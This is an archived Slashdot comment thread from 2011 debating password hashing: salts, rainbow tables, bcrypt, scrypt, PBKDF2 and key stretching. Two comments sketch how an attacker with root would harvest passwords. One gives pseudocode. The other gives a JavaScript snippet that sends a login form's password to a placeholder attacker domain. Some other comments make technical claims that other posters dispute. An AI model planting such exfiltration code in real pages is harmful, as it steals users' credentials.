Forgot your password?
typodupeerror
Security IT

Are You Sure SHA-1+Salt Is Enough For Passwords? 409

Posted by CmdrTaco
from the good-enough-for-govt-work dept.
Melchett writes "It's all too common that Web (and other) applications use MD5, SHA1, or SHA-256 to hash user passwords, and more enlightened developers even salt the password. And over the years I've seen heated discussions on just how salt values should be generated and on how long they should be. Unfortunately in most cases people overlook the fact that MD and SHA hash families are designed for computational speed, and the quality of your salt values doesn't really matter when an attacker has gained full control, as happened with rootkit.com. When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."
This discussion has been archived. No new comments can be posted.

Are You Sure SHA-1+Salt Is Enough For Passwords?

Comments Filter:
  • Does anybody have a link for a security cookbook that covers this and other security topics while taking in to account the latest developments re: MD5 and friends, cross-site scripting, SQL injection, and other problems of the web-based app age?

    • by Errol backfiring (1280012) on Wednesday February 09, 2011 @09:59AM (#35149668) Journal
      I found this book useful. It does not go too deep, but just deep enough: http://innocentcode.thathost.com/ [thathost.com]
    • by Anonymous Coward on Wednesday February 09, 2011 @11:01AM (#35150274)

      Be sure to mention it to Melchett and CmdrTaco. They sure have completely missed the point of salting password hashes. When you have root, you can obviously verify that a given password matches the information stored on the compromised system. As root you have access to all information that the computer can use and since the computer must be able to tell if the given password is correct, root can too. The point of salt isn't to make that impossible. That would be stupid.

      The point of salt is to make it impossible to use a precomputed table of password hashes and find a valid matching password just by comparing the precomputed hashes to the ones on the system. If you don't use salt, then one rainbow table suffices and the reversed passwords can be used on any other system that uses the same hash algorithm without salt and where the user has the same password (happens much too often.) With salt, you can not reverse the password except by brute-forcing each and every password hash individually. No time-memory trade-off with rainbow tables.

      SHA1 is still considered a cryptographically secure hash function, which means so far no faster way to reverse it is known than trying all possible inputs in the forward direction until the result matches the given hash value. Salt makes the hash function an individual function per system (or even per password), which means you have to repeat this process for every system/password without being able to use precomputed tables and even if you can reverse a password hash by brute force, it is unlikely that you can use the resulting password somewhere else, because many passwords match the same hash, but only the right one will match for any salt.

  • Wait, what? (Score:4, Informative)

    by Anonymous Coward on Wednesday February 09, 2011 @09:50AM (#35149578)

    Why is this even a question? Use bcrypt [codahale.com], always. (Preferably using the $5$ or $6$ extensions.)

    • Re:Wait, what? (Score:4, Informative)

      by vlm (69642) on Wednesday February 09, 2011 @10:07AM (#35149726)

      Why is this even a question? Use bcrypt [codahale.com], always. (Preferably using the $5$ or $6$ extensions.)

      mysql only offers AES, DES, MD5, and SHA... So... for at least a certain subset of developers, thats what they're going to use.

      I'm not saying they're correct to do so, I'm just explaining why they will not even consider your suggestion, because they have architectural problems, for them its not as simple as search and replace all calls to md5() with bcrypt().

    • Re:Wait, what? (Score:5, Informative)

      by Stellian (673475) on Wednesday February 09, 2011 @10:18AM (#35149842)

      While most people know enough about security to avoid a plain password hash, very few people know how vulnerable common key derivation functions truly are. Things like PBKDF2, bcrypt and MD5-crypt widely used for example in Linux shadow file or in TrueCrypt give only a linear advantage over a salted plain hash. 5000 MD5 repetitions might sound like great security from a brute force perspective, but the asymptotic hardware cost of brute-forcing such a password is fairly small. The cost to break your 8 letter bcrypt password is in the hundreds of dollars, assuming enough passwords are cracked to justify a hardware cracker. I can almost bet NSA has a multi-million dollar hardware cracker that can brute-force your Linux or TrueCrypt password, assuming it has less than about 50 bits of entropy. Very few people are capable or willing to use truly safe passwords with 100bit+ entropy.

      I know of only one strong key derivation algorithm that forces the attacker to scale it's hardware cost at the same rate as the software slowdown: scrypt [tarsnap.com]. So by all means, don't use bcrypt, use scrypt.

      The issue is completely different in a webserver, that probably can't spend 1 second of CPU time whenever a user logs in. Is such cases a hash + salt is all that you can realistically expect if a dedicated authentication machine does not exist. At least try to combine them safely using a HMAC, not some home-grown SHA1(salt+password) scheme.

      • What utter, utter nonsense.
        You don't iterate a hash function. That's just cryptographic hand waving. Pick a hash function that has not been broken with respect to password storage, then use a longer password, [wikipedia.org] or key.

        HMAC is for message authentication codes. You do, in fact just use string concatenation for adding salt.
        NO HMAC, NO XORing, NO interleaving, JUST concatenation. Anything else is yet more cryptographic hand waving.

        • by Stellian (673475)

          You don't iterate a hash function. That's just cryptographic hand waving

          That's exactly what common password strengthening algorithms like bcrypt or PBKDF2 do. They are carefully designed for the purpose of increasing brute-force computational cost and of course don't simply do MD5(MD5(MD5(....MD5(x)))).

          HMAC is for message authentication codes.

          That's what an encrypted password is a MAC from the user that authenticates the salt using his password. In this instance however, since the attacker can't control the salt nor password, using a HMAC will not buy more security. Guilty as charged of hand waiving :)

        • I guess I made a "hash" of making my point.

          Case study: [php.net], people trying to increase security be doing odd things such as first hashing with SHA1, then MD5, and many, many strange combinations. None of which actually improve security.
          Not even security though obscurity, but obscurity though spaghettification.

          Bottom line: Stop torturing that weak hash algorithm. Feed a strong key into a strong hash.

    • by MightyYar (622222)

      Use bcrypt

      Forgive me for being dense, but the advantage of bcrypt is that it's slower? If that is the case, why not just run your MD5 or whatever hashes in a loop 50 or 60 times to get the same performance hit?

    • by gnieboer (1272482) on Wednesday February 09, 2011 @11:06AM (#35150328)

      The box is rooted, nothing you do matters. Just change the code...

      CHANGE:
      string pass = request("userspass")
      if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
                  UserAuthenticated
      }

      TO:

      string pass = request("userspass")
      SendTheHackerThePassword(pass)
      if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
                  UserAuthenticated
      }

      And you're done... Just wait for the passwords to come rolling in.

      Any rooted machine that handles the user's actual password can be coerced into giving it up. So limit what machines see that password. Have your web client hash the password before if goes to the host (even when it's a secure connection). That would help, though the client machines should be easiest to hack, but at least it takes longer to get the right password.

      • by Gunstick (312804) on Wednesday February 09, 2011 @11:51AM (#35150852) Homepage

        Oh, the browser hashes the password.
        And the box is rooted?
        Put your code here:
        <head>
        <title>super secure website</title>
        </head>
        <body>
        <script>
        function doit() {
        document.write("<img src='http://senthehackerthepassword.com/"+form.password.value+"'>"
        }
        settimeout("doit()",5000) // could use onload or any other fancy technique
        </script> ...

    • by ifrag (984323) on Wednesday February 09, 2011 @11:09AM (#35150362)
      Ouch... and here I was thinking my hand-harvested, shade-grown, organic Himalayan pink salt was the final solution to password security. That's the last time I trust the Himalayans.
  • Passwords (Score:3, Insightful)

    by betterunixthanunix (980855) on Wednesday February 09, 2011 @09:53AM (#35149606)
    Easy solution: do not rely on passwords. As TFA says, people are very bad at generating random passwords, so why are we relying on them to do so? Use cryptographic authentication methods, and a lot of problems will be solved.

    Then again, it has been so hard to get people to start using IPv6, I expect that the effort it would take for people to change the time honored method of authentication is simply too large.
    • by drinkypoo (153816)

      The real problem is that there is no means of remote authentication that cannot be faked in one way or another. Unless you figure out how to fingerprint the soul this is going to be an ongoing problem basically forever. The best thing you can do is use multi-factor authentication but that provides new opportunities for user frustration so we tend away from it. A keyfob can be lost or stolen. The machine a private key resides on can be compromised. All you can do is raise the bar and pray.

      • Raising the bar is the point; true, the machine on which the private key resides might be compromised, but this is no worse than the situation with passwords (where the machine on which a password is entered might be compromised). On the other hand, users should not have to worry that a server could be compromised, and they should not have to worry that one compromised server can lead to compromised accounts on other systems. It is much easier for users to look after things they possess -- a card, a thumb
        • and if someone breaks into my house and steals my dongle? What then? I have to have some way of going and getting a new one and inactivating the old one. How can I do that? How can I prove that I am the original owner? I'm going to need some type of security mechanism, such as a.....PASSWORD!
          • Or you could tell your bank to revoke your key, in person (presumably there is a system for identifying yourself in person), and to register a new public key for you; this has the added advantage of helping them track down people who might try to use your old key. If meeting in-person is not possible (e.g. with Amazon or EBay) you could call them and tell them the fingerprint for your new key, or perhaps even just have them deactivate your old account and then create a new one.

            This is basically the proc
            • by JWSmythe (446288)

              Banks aren't all that smart.

              I bought a house and moved across the country a few years ago. Because I had bought a house, I was on every creditors list as having money. I received two "checks" for $5,000 and $8,000. Those checks were cashable, but they would have opened a line of credit for me at 24.99%.

              Little did I know, one of them also sent one to my previous residence for $9,000. Someone saw it as free money. I found out after the collections company trie

      • by Carewolf (581105)

        No, the real problem is that even if you had perfect authentication that couldn't be faked, you could still have stupid, malicious or simply corrupt employees. The entire idea of trying to restrict information to specific people is flawed. That doesn't mean it is a bad idea, but don't be surprised that it isn't perfect, and don't worry about complete perfection. You will always have way bigger security holes than technological ones.

        What is the solution: There is no solution, only semi-perfect prevention.

      • If you fingerprint the soul and use it for authentication, you'll be excluding politicians and lawyers from any services you offer.
        • by drinkypoo (153816)

          If you fingerprint the soul and use it for authentication, you'll be excluding politicians and lawyers from any services you offer.

          A plan with zero drawbacks!

    • by PRMan (959735)
      The point of the article (since I read it) is that you should limit attempts per second. They recommend 10,000/second, but when I code I recommend one. Why would anybody need to login to the same username more than once per second? If the point is stopping automated login hacking, it accomplishes the job.
      • by PRMan (959735)
        Now, note that these are failed logins only. Successful logins do not get timed, in case you were wondering about B2B web services or something.
    • I have to use an RSA key fob now to sign in to several bits and pieces and it's REALLY EXCITING!

      I feel a bit like a spy typing in different secret codes every day.

  • by plover (150551) * on Wednesday February 09, 2011 @09:55AM (#35149626) Homepage Journal

    Like TFA says, worry more about the passwords people choose. It doesn't matter if you use SHA-1, MD5, or an HMAC, if the idiot types "password" for his password, it's going to be discovered on the first loop of anyone's "common passwords" list.

    One way to get people to comply better is simply to refer to it as a "passphrase" instead of a "password". Maybe enforce "three word minimum" or something. Even if they just use a line from a movie, it's increased the search space dramatically over a single word.

    • by vlm (69642) on Wednesday February 09, 2011 @09:59AM (#35149660)

      Like TFA says, worry more about the passwords people choose. It doesn't matter if you use SHA-1, MD5, or an HMAC, if the idiot types "password" for his password, it's going to be discovered on the first loop of anyone's "common passwords" list.

      Its best to go overboard and require a minimum of 15 characters, a mix of upper and lowercase, at least two non-consecutive numbers and at least two punctuation marks. And store then so they can't reuse their previous 20 passwords. That way the users will exclusively save the password in their unsecure browser, unsecure post it notes, or cut and paste from a text file, or the corporate standard database that being an excel spreadsheet. Thats how REAL security pros roll, or so I'm told.

      • by Entrope (68843)

        REAL security pros use multi-factor authentication by storing their master password list in an encrypted file on their rooted/custom-firmware mobile phones. The file is encrypted using a master pass-phrase (factor 1) and the phone will only unlock with a biometric ID (factor 2) and you need the phone to get at the password (factor 3). Bruce Schneier has written all about it!

        (It is rather important that your wireless service provider not have administrative access to the device, which is where the custom f

      • by Bert64 (520050)

        You do make a good point, the typical advice given out on password policies can often be detrimental, and the typical implementations used can be flawed.

        Most systems don't stop dictionary words.
        Even if you're forced to use a *different* password to your previous one, the level of difference typically isn't enforced so password1 can become password2.
        Storing a fixed number of previous passwords is flawed as users can keep changing them to roll around, and setting a minimum password age is just a nasty kludge

      • by plover (150551) *

        I wasn't trying to provide a comprehensive list of password composition rules. What I was trying to say is that because we're dealing with people, we have to encourage them to make better password choices. Changing the mindset of people from "password" to "passphrase" or even "pass-sentence" is one place to start. It's an easy way to help average people think of more (number of bytes) data.

        Even if it's as inane as "omgilovejustinbieber!", it's probably not found in any hackers' rainbow table (yet.) But

      • by ftobin (48814) *

        It's best to go overboard and require a minimum of 15 characters, a mix of upper and lowercase, at least two non-consecutive numbers and at least two punctuation marks.

        You forgot that the password should also have a maximum length of 16 characters.

        I'm not sure what site it is, but I'm pretty sure one of them that I need to access requires a 6-8 character password.

    • Maybe enforce "three word minimum" or something

      Wanna bet on the number of people who'll chose "a a a" as a password?

    • Or, you can ditch passwords, and use public key authentication methods. Pick a 3072 bit RSA key, and your search space is suddenly on the order of 2^128 -- I think that should suffice for a while. If you want to be careful, pick an even larger key, perhaps 16384 bits, to protect against possible future improvements in factoring algorithms. The great thing about these methods is that you can rely on a computer to generate the key; computers tend to do a good job at generating random numbers, certainly bet
      • by Entrope (68843)

        Which device will you trust to store that key and implement the private-key side of the authentication? How much do you trust it? Does the same device also generate the key, or do you have to trust some other device for that? (Ask Sony what happens if you are not sufficiently careful about how you generate private keys... :)

        • I imagine a simple answer would be for people to carry their private keys on a card of some sort -- people seem to be able to carry around drivers licenses and passports without too much difficulty. True, losing the card could complicate matters, but there are solutions to that as well -- storing revocation certificates in a safe place, procedures for issuing new keys (show up at your bank in person with a new key, call up companies, etc.). Key generation could be done with any computer, although people w
    • One of the most common passwords of all time is "iloveyou" so I'm not sure that will help.

      The trouble with making things foolproof is that fools are very resourceful people...

    • > One way to get people to comply better is simply to refer to it as a "passphrase" instead of a "password".
      > Maybe enforce "three word minimum" or something.

      Already done here!
      Used to have: "MyPassword1".
      Now I got: "My passphrase One" :-)

  • When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."

    Not if you encrypt the salt using the password.

    Password Hash = SHA256( AES_ENCRYPT( SALT using PASSWORD ) )
    Salt Hash = SHA256( SALT )

    Authentication: user enters password
    Does SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) equal Salt Hash ?
    Yes: Password Entered Correctly
    No: Access Denied

    • Re: (Score:3, Interesting)

      by spikenerd (642677)

      Not if you encrypt the salt using the password.

      The whole point of salt is to mitigate a dictionary attack. With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password. Thus, you have merely doubled the amount of computation required to obtain the password. In most security philosophies, increasing the required computation by a polynomial factor does not make it more secure.

      • by 0123456 (636235)

        The whole point of salt is to mitigate a dictionary attack. With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password.

        How are you going to perform a dictionary attack when the salt is just a random number? For a brute-force attack you need to know that the value you've decrypted is the correct one, and if the value is just a random number you have absolutely no information to tell you whether it's valid.

        • by 0123456 (636235)

          Ah, of course you can take the password and the salt and then hash them to check whether the password and salt are correct. But then you're still stuck with trying all possible passwords until you find the correct one instead of using tables to speed up your brute force attack.

          I agree then, encrypting the salt with the password doesn't provide any real benefit. But you won't be performing a separate attack on the salt and then the password, you'd just decrypt the salt with each possible password, hash it al

    • by sgbett (739519)

      The purpose of the salt is to stop people using pre-computed rainbow tables.

      With a different salt per password (even known) they have to generate rainbow tables per salt/password.

      If the salt is the password then you only need generate one rainbow table to crack the whole list.

      • by PRMan (959735)
        Yeah, I was wondering whether the GP was serious or trying to be funny. It's really hard to tell, because anyone that understands what salt is for will instantly see the humor in the suggestion. But since most people are cargo cult-ers when it comes to salt, I really could see someone thinking they were being extra clever.
        • by sgbett (739519)

          I was also wondering as I wrote the reply whether I was just being strung along. I thought it was better to take the hit and look a fool, even it stopped just one person actually doing this!

    • by Stellian (673475)

      Password Hash = SHA256( AES_ENCRYPT( SALT using PASSWORD ) )

      Salt Hash = SHA256( SALT )

      Authentication: user enters password

      Does SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) equal Salt Hash ?

      This calls for a bit of algebra. You say:
      SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) = SHA256( SALT )
      Ignoring collisions:
      AES_DECRYPT ( Password Hash using PASSWORD ) ) = SALT
      Replacing Password hash defined by you:
      AES_DECRYPT ( SHA256( AES_ENCRYPT( SALT using PASSWORD ) ) using PASSWORD ) ) = SALT [1]

      But obviously:
      SALT = SALT
      AES_ENCRYPT( SALT using PASSWORD ) = AES_ENCRYPT( SALT using PASSWORD )
      AES_DECRYPT ( AES_ENCRYPT( SALT using PASSWORD ) using PASSWORD) = SALT [2]

      [1]+[2]:
      SHA256( AES_ENC

  • This wouldn't be an issue if AAA (authentication, authorization, accounting) was handled as a separate function.
    Root access to the application server does not automatically become root access to the password database.
    The password system should be approved/denied and not just a database of the hashes.

    Check out Apple's Open Directory as a good example.
  • What about using a cellular automate?
    A silly idea I just had yesterday.
    Take a grafical representation of the password, then "hash" it by running 100 generations of life through. Store the result as the hash.
    The salt would be an additional life colony so that after 100 generations you're not going to end up with a dead colony.

    Oh, I can't patent the idea, I'm not the first one thinking of that. http://kestas.kuliukas.com/GameOfLife/ [kuliukas.com]

    • by vlm (69642)

      What about using a cellular automate?
      A silly idea I just had yesterday.
      Take a grafical representation of the password, then "hash" it by running 100 generations of life through. Store the result as the hash.
      The salt would be an additional life colony so that after 100 generations you're not going to end up with a dead colony.

      Oh, I can't patent the idea, I'm not the first one thinking of that. http://kestas.kuliukas.com/GameOfLife/ [kuliukas.com]

      GoL isn't as good of a hash compared to a more traditional hash. First thing that comes to mind is some hashes can spread a single bit change faster than GoL's "speed of light" limitation. The "c" limit in GoL is that a glider etc cannot move faster than a cell per generation in any direction, but I think there are hashes where a single bit change can spread across the hash faster than one adjacent bit per complete hash function. One generation of MD5 beats 50 generation of GoL on a 100x100 board in term

      • by Gunstick (312804)

        Well as we seek SLOW routines for password hashing, if you need 1000 GoL generations to get something really usable, well so that's it. Slow as hell. Exactly what is needed to secure a password.
        You can't use GoL to hash a complete file, there you need a fast hash function.

  • I'm skeptical about schemes like PBKDF2. Doesn't the passphrase loose entropy each time you hash it? Instead, for iterated hashing it's probably better to use a one of the methods of transforming a conventional block cipher into a hash function. Anyway, what you should worry about is not so much the hashing itself but the entropy of the passphrase.

    For example, I doubt many human-invented passphrases would stand a chance against a cleverly-generated, terabyte-sized dictionary. Heck, most people use "1234" an

  • That's about the most "Duh" article. Anyone with half a brain should know if they are already in all bets are off and it matters not a whit if you used corned beef to generate your hash.
    • That's about the most "Duh" article. Anyone with half a brain should know if they are already in all bets are off and it matters not a whit if you used corned beef to generate your hash.

      Finally! Man I was starting to think I was reading the world's first Slashdot article to have nothing but honest discussion, without trolls, jokes, offtopics or idiots! You broke the spell.

  • by Frogg (27033) on Wednesday February 09, 2011 @10:13AM (#35149798)

    I don't get it - surely it shouldn't matter if someone gains access to the password verification routine, the salt and the encrypted passwords... unless the password hashing/encryption is easily reversible?

    They've still got to try and brute force match the encrypted data with a dictionary attack - sure, having the salt makes it easier - but if you've got the salt and the encrypted passwords it doesn't matter what encryption algorithm is used, you've still got to use a brute force dictionary attack. Most encryption algorithms aren't easily reversible - and that's the whole point.

  • I'm fairly green when it comes to the security game, but wasn't the purpose of the salting to avoid the issue we saw with Gawker in that once you figured out Bob's unsalted password "password" hashed to "5f4dcc3b5aa765d61d8327deb882cf99" you suddenly has the credentials for X other users that all used "password" as their password as well? Where if the password had been salted all the hashes would be different and they would have had to brute force each one?

    If the hacker has root access to your machine and h

  • by Chas (5144) on Wednesday February 09, 2011 @10:34AM (#35149978) Homepage Journal

    So you're saying SHA+a salt value sucks *IF THE ATTACKER ALREADY HAS ROOT ACCESS*?

    Ore are you saying SHA+a salt value sucks *IF PEOPLE ARE USING WEAK DICTIONARY PASSWORDS*?

    Can I get a "well fucking DUH!" here?

    Seriously, exactly how tall are you claiming this molehill to be?

    In BOTH cases the problem IS NOT the weakness of SHA+salt.

    In the latter, the problem is some jackass used a crappy password. And even that's defensible if you have things like login restrictions and account locking in place.

    In the former, well, not sure how to put this politely, THEY HAVE ROOTED YOUR BOX! At that point, you've got MUCH bigger problems on your hands than their ability to decrypt your password database.

    Sorry, but this sounds like someone with SEVERE tunnel-vision here. They're so monofocused on "A" problem, that they fail to see the larger ramifications of the scenarios they construct.

  • Desktop supercomputers (GPUs) are cheap nowadays. Modern GPUs can process over 3 billion (yes, billion, with a B, http://www.golubev.com/hashgpu.htm [golubev.com]) SHA-1 hashes per second, and this is where good salt gains it's importance, because even a very strong password of completely random upper and lower case letters and symbols could be extracted from it's SHA-1 hash on just 3 or 4 GPUs in less than 24 hours. Good random salt can increase this search time immensely.

    That said, good password practice is obviousl
  • by kikito (971480)

    If an attacker has got root access, he can reset the passwords to whatever he wants. Unless I'm missing something, that's endgame. Users could have the passwords stored directly on the database, and it would make no difference.

    • That's probably endgame for the application, but the ability to discover existing user passwords from a system is often more interesting to an attacker than compromising the application that coughed up the hashes. The reason for that is that people often use the same credentials on other systems. So, if you attack a "lower security" system and grab credentials off of that, you can often turn around and more quietly attack a higher security system that shares many of the same users ("more quietly" because

  • Without salt all duplicate passwords share the same hash. That's the first problem. So if 30000 of your users share the same password you've cut the amount of work the attacker has to do. Once they dictionary attack one password they have all 30000 because the hash is the same.

    The greater benefit is that unless the attacker knows how the salt was created and applied (e.g. prepended / appended), you stop dictionary attacks dead in their tracks. e.g. my salted hash might be a hash of the registered email ad

  • "When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."

    While better password encryption is certainly a good thing, if your attacker has root access already, it's only a matter of time until he has the whole enchilada.

    OTOH, you don't want rooting of one box quickly leading to compromise of a dozen others due to the amount of lazy password reuse that goes on.

  • If you need database support for it, then there is an opportunity to get some opensource fame and add it.

    The assumption is they can get at the hashes, salt or not, with some of the GPU accelerated stuff and criminal set out there now, if they can get the hashes and it's simply salted and hashed or just hashed, within a reasonably small amount of time they can turn that in to passwords.

    There is bcrypt but there are also hmacs, it would be interesting to see an analysis of md5-hmac vs salting or some ot

  • by bk2204 (310841) <sandals@crustytoothpaste.net> on Wednesday February 09, 2011 @11:11AM (#35150370) Homepage

    There are basically four levels of security with passwords. The first one is an unencrypted password. It's obvious why this is a bad idea. The second is a hashed password. This is, however, subject to a trivial dictionary attack. The third is salted and hashed, and the last is salted, iterated, and hashed. The benefit of iteration is that it slows down the attacker a huge amount. So while salted and hashed is much better than just hashed, it's not really ideal.
    OpenPGP provides the last three types and strongly encourages using iteration. WPA2 uses PBKDF2, which is iterated and salted. It's clear that if you want real, cryptographic security, you should be using an iterated and salted method. But using just salt is a much, much better idea than without salt at all.

  • by Cato (8296) on Wednesday February 09, 2011 @11:12AM (#35150388)

    The solution to this is simple: just iterate the hash function many times so that the time to hash the password is (say) 300ms - unnoticeable to an interactive user, but significant for a brute force attacker. This is called password stretching, and is as important as salt.

    See http://www.openwall.com/articles/PHP-Users-Passwords [openwall.com] for a review of this and other password hashing issues - not just for PHP, this article gives the thinking behind phpass which is now used in Drupal, and has been reimplemented in other languages. phpass includes bcrypt() as an option but can work even with really old PHP versions that only have MD5. Just because MD5 and SHA1 have been cracked to some degree doesn't invalidate them for password hashing with salt and stretching.

    Key derivation functions perform essentially the same operation as password stretching, see http://en.wikipedia.org/wiki/Key_derivation_function [wikipedia.org] - there is an IETF RFC for this.

    Digression: Windows 7 still doesn't use salted passwords, which is why it's so easy to crack Win7 passwords given the hashed password, using Rainbow Tables - see http://en.wikipedia.org/wiki/Ophcrack [wikipedia.org] - try the vendor's scarily good online password hash cracker for yourself...)

    Most importantly: don't even think of implementing your own crypto code unless the above is very old news to you, because you WILL get it wrong - the examples of unsalted and unstretched passwords are only the beginning. Instead, search for a credible crypto library in your chosen language, and if necessary write a C wrapper so that your preferred scripting language can access a good C/C++ library such as Crypto++ - http://www.cryptopp.com/ [cryptopp.com]

  • by Miamicanes (730264) on Wednesday February 09, 2011 @03:16PM (#35153472)

    Does anybody know why it's a bad idea to salt passwords with usernames (or hashes of usernames)? Say, something like...

    $username = "linus"

    $password = "tux4me"

    client asks server for salt to use with $username

    server returns md5("common2allUsers" . $username). Client doesn't do this directly to make it less publicly obvious that the first salt is "common2allUsers". Salt is algorithmically-determined by username to avoid revealing whether or not a given username is valid to attackers. Server uses md5 for speed, since this particular hash is partly just obfuscation and security theater.

    client calculates $passhash = sha-1($commonSalt . $password)

    client sends $username and $passhash to server.

    Server looks up $usersalt associated with $username in database. If $username doesn't exist, server pretends salt is 'badU53r' and proceeds with lookup anyway to reduce vulnerability to timing analysis attacks.

    $storedSaltedHash = sha256($usersalt . $passhash)

    Server looks up userid associated with $username and $storedSaltedHash

    Rationale for hashing before sending to server: to obfuscate the password in case it ends up being revealed in a log somewhere.

    Rationale for hashing the hash again: to use a unique hash for every user, without revealing the hash or enabling attackers to harvest usernames.

    Drawbacks: 1) increased server workload. 2) ???

  • by SpaghettiPattern (609814) on Wednesday February 09, 2011 @03:50PM (#35153894)
    It's not the crackers I fear but the idiots building web applications with crap security. I am not shitting you when I say that my computer parts supplier -whom I highly esteem- periodically sends me a clear text message containing my user name AND password. Just to keep me abreast. I've already emailed them that it is absolutely unacceptable that my password is saved as clear text but a sensible reply never came about.
    I stopped imagining how the shop functions and who has access to my password and resolved to never use that password anywhere else, to refrain from storing any payment information on the site and to wire instead every purchase I make. Worst case here is that some joker logs in and orders a shit load of items and I have to explain to the supplier that they are idiots.

    Generally speaking, when a node is compromised then password security is lost as there mostly will be a process reading your password in clear text. Using mechanisms with private and public keys will not expose your private key but the session on the server side is pretty much useless.
    Then again, there isn't yet a generic system available whereby you own a private key in hardware which you yourself do not even know, which works on every conceivable operating system. If think you have already the answer then consider that storing your private key on a host you think will never be compromised is pretty endearing or actually incredibly pathetic.

    There should be laws against storing clear text passwords and against organisations not being able to recognise if their systems are compromised. My take is this will take a few decades though.

"Ahead warp factor 1" - Captain Kirk

Working...